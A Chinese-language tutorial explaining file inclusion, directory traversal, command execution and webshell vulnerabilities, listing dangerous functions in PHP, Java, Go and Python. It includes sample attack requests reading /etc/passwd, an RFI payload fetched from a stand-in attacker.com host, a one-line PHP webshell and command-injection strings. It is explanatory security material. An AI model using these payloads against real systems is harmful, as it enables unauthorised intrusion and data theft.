文件包含漏洞 不同语言危险函数导致的漏洞详解
目录
1. 什么是文件包含漏洞?
2. 文件包含漏洞如何利用?实际案例解析
案例 1:PHP 本地文件包含(LFI)
案例 2:PHP 远程文件包含(RFI)
案例 3:Java 目录遍历与文件包含
案例 4:Python 文件读取
3. 文件包含漏洞如何发现?
4. PHP、Java、Go、Python 的危险函数及利用方式
PHP 危险函数
Java 危险函数
Go 危险函数
Python 危险函数
5. 命令执行漏洞的危险函数
6. Webshell 执行的危险函数
7. 各种危险函数可能引发的漏洞及详细步骤
文件包含漏洞
命令执行漏洞
代码执行漏洞
目录遍历漏洞
8. 逻辑总结
1. 什么是文件包含漏洞?
文件包含漏洞(File Inclusion Vulnerability)发生在 Web 应用动态加载文件时,未能对用户输入进行充分验证,导致攻击者通过操控参数包含并执行恶意文件。文件包含漏洞分为两类:
-
本地文件包含(LFI):包含服务器本地文件。
-
远程文件包含(RFI):包含远程服务器上的文件。
2. 文件包含漏洞如何利用?实际案例解析
以下是文件包含漏洞的实际利用案例,涵盖不同场景和语言。
案例 1:PHP 本地文件包含(LFI)
-
场景:一个 PHP 网站使用
include($_GET['page'])
动态加载页面。 -
利用方法:
-
正常请求:
http://example.com/?page=about.php
-
攻击请求:
http://example.com/?page=../../../../etc/passwd
-
结果:服务器包含并显示
/etc/passwd
,泄露系统用户信息。
-
-
关键点:通过目录遍历(
../
),访问服务器根目录外的敏感文件。
案例 2:PHP 远程文件包含(RFI)
-
场景:一个 PHP 网站允许通过参数加载外部文件,
include($_GET['page'])
,且未禁用远程文件包含。 -
利用方法:
-
攻击者上传恶意文件到自己的服务器:
http://attacker.com/malicious.php
(内容如<?php system('whoami'); ?>
)。 -
攻击请求:
http://example.com/?page=http://attacker.com/malicious.php
-
结果:服务器下载并执行
malicious.php
,输出当前用户身份。
-
-
关键点:利用远程 URL 加载并执行恶意代码。
案例 3:Java 目录遍历与文件包含
-
场景:一个 Java 应用使用
new File(request.getParameter("file"))
读取文件。 -
利用方法:
-
正常请求:
http://example.com/?file=images/logo.png
-
攻击请求:
http://example.com/?file=../../WEB-INF/web.xml
-
结果:读取
web.xml
,泄露 Web 应用的配置信息。
-
-
关键点:利用路径遍历读取 Web 根目录外的敏感文件。
案例 4:Python 文件读取
-
场景:一个 Python Flask 应用使用
open(request.args.get('file')).read()
读取文件。 -
利用方法:
-
正常请求:
http://example.com/?file=data.txt
-
攻击请求:
http://example.com/?file=/etc/passwd
-
结果:返回
/etc/passwd
文件内容。
-
-
关键点:直接使用用户输入作为文件路径,未进行过滤。
3. 文件包含漏洞如何发现?
发现文件包含漏洞需要结合代码审计和黑盒测试,具体方法如下:
-
代码审计:
-
检查代码中是否使用了动态文件包含或读取函数。
-
验证用户输入是否经过严格过滤(如白名单验证)。
-
-
黑盒测试:
-
在 URL 或表单参数中尝试注入特殊路径,如
../
、http://
。 -
观察服务器响应:返回文件内容或异常错误可能表明存在漏洞。
-
-
自动化工具:
-
使用 Burp Suite、OWASP ZAP 等工具扫描,检测文件包含行为。
-
4. PHP、Java、Go、Python 的危险函数及利用方式
以下列出各语言中与文件包含漏洞相关的危险函数,并说明其利用方法。
PHP 危险函数
-
函数列表:
include()
、require()
、include_once()
、require_once()
、file_get_contents()
、fopen()
-
利用方式:
-
代码示例:
include($_GET['file']);
-
攻击方法:通过参数注入路径,如
?file=../../../../etc/passwd
(LFI)或?file=http://attacker.com/shell.php
(RFI)。 -
结果:读取敏感文件或执行远程代码。
-
Java 危险函数
-
函数列表:
new File()
、FileInputStream()
、getResource()
、getResourceAsStream()
-
利用方式:
-
代码示例:
new File(request.getParameter("file"))
-
攻击方法:注入路径,如
?file=../../WEB-INF/web.xml
。 -
结果:读取服务器上的任意文件。
-
Go 危险函数
-
函数列表:
os.Open()
、ioutil.ReadFile()
、http.ServeFile()
-
利用方式:
-
代码示例:
os.Open(r.FormValue("file"))
-
攻击方法:注入路径,如
?file=/etc/passwd
。 -
结果:读取敏感文件内容。
-
Python 危险函数
-
函数列表:
open()
、file()
、os.system()
(间接利用) -
利用方式:
-
代码示例:
open(request.args.get('file')).read()
-
攻击方法:注入路径,如
?file=/etc/passwd
。 -
结果:返回任意文件内容。
-
5. 命令执行漏洞的危险函数
命令执行漏洞允许攻击者在服务器上执行系统命令,以下是常见语言的危险函数:
-
PHP:
system()
、exec()
、passthru()
、shell_exec()
、``(反引号) -
Java:
Runtime.getRuntime().exec()
、ProcessBuilder
-
Go:
os/exec.Command()
、os.StartProcess()
-
Python:
os.system()
、subprocess.call()
、eval()
、exec()
-
利用方式:
-
示例:
system($_GET['cmd']);
-
攻击方法:注入命令,如
?cmd=whoami
或?cmd=ls;cat /etc/passwd
。 -
结果:执行系统命令并返回结果。
-
6. Webshell 执行的危险函数
Webshell 是一种恶意脚本,攻击者通过它执行命令。以下是常见语言中用于 Webshell 的危险函数:
-
PHP:
system()
、exec()
、passthru()
、shell_exec()
、eval()
-
Java:
Runtime.getRuntime().exec()
、ProcessBuilder
-
Go:
os/exec.Command()
-
Python:
os.system()
、subprocess.call()
、eval()
、exec()
-
利用方式:
-
示例:上传 Webshell
<?php system($_GET['cmd']); ?>
,访问?cmd=whoami
。 -
结果:通过 Web 界面执行任意命令。
-
7. 各种危险函数可能引发的漏洞及详细步骤
以下是危险函数可能引发的漏洞类型及利用步骤。
文件包含漏洞
-
危险函数:
include()
(PHP)、new File()
(Java)、os.Open()
(Go)、open()
(Python) -
可能漏洞:
-
LFI:读取本地敏感文件。
-
RFI:执行远程恶意代码。
-
-
利用步骤:
-
确认代码中文件包含函数使用用户输入。
-
构造恶意路径(如
../etc/passwd
或http://attacker.com/shell.php
)。 -
发送请求,观察响应是否包含文件内容或执行代码。
-
命令执行漏洞
-
危险函数:
system()
(PHP)、Runtime.exec()
(Java)、os/exec.Command()
(Go)、os.system()
(Python) -
可能漏洞:直接执行系统命令。
-
利用步骤:
-
发现命令执行函数使用用户输入。
-
注入恶意命令(如
;whoami
或&& dir
)。 -
检查响应,确认命令是否执行。
-
代码执行漏洞
-
危险函数:
eval()
(PHP、Python)、exec()
(Python) -
可能漏洞:执行任意代码。
-
利用步骤:
-
确认
eval()
或exec()
使用用户输入。 -
注入恶意代码(如
?code=system('whoami')
)。 -
检查服务器是否执行注入的代码。
-
目录遍历漏洞
-
危险函数:
new File()
(Java)、os.Open()
(Go)、open()
(Python) -
可能漏洞:访问 Web 根目录外的文件。
-
利用步骤:
-
发现文件读取函数使用用户输入。
-
使用
../
构造路径(如../../config.php
)。 -
检查响应是否返回敏感文件内容。
-
8. 逻辑总结
文件包含漏洞是 Web 安全中的高危漏洞,可能导致信息泄露、代码执行或服务器失控。
攻击者利用危险函数和未过滤的用户输入,通过 LFI、RFI 或目录遍历实现攻击。
发现漏洞需要结合代码审计和黑盒测试,而防御的关键是对用户输入进行严格验证(如使用白名单)。